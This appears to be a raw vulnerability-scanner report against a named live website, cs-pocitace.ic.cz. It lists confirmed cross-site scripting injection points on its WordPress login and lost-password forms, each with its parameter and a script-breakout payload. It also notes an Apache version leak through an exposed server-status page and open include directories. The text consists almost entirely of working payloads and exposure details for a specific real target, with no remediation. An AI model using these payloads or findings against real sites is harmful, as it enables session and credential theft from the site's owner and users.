pocitace.ic.cz

XSS - Cross-site Scripting

Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://cs-pocitace.ic.cz/wp-login.php
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: log
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x0002F8)</script>
=-----------------------------------------------------------------------------=
Severity :  Important
Confirmation :   Confirmed
Detection Accuracy :
Vulnerable URL :  http://cs-pocitace.ic.cz/wp-login.php
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: pwd
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x0002FC)</script>
==
Vulnerable URL :  http://cs-pocitace.ic.cz/wp-login.php?action=lostpassword
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: redirect_to
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x0003F6)</script>
==
Vulnerable URL :  http://cs-pocitace.ic.cz/wp-login.php?action=lostpassword
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: wp-submit
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000455)</script>
==
Vulnerable URL :  http://cs-pocitace.ic.cz/wp-login.php?action=lostpassword
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: user_login
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000454)</script>
==
Vulnerable URL :  http://cs-pocitace.ic.cz/wp-login.php?action=lostpassword
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: redirect_to
Parameter Type: Post
Attack Pattern: '"--></style></script><script>alert(0x000453)</script>
=
Apache Version Disclosure
http://cs-pocitace.ic.cz/server-status
Apache/2.2.9 (Debian)
=
http://cs-pocitace.ic.cz/wp-includes/
http://cs-pocitace.ic.cz/wp-includes/js/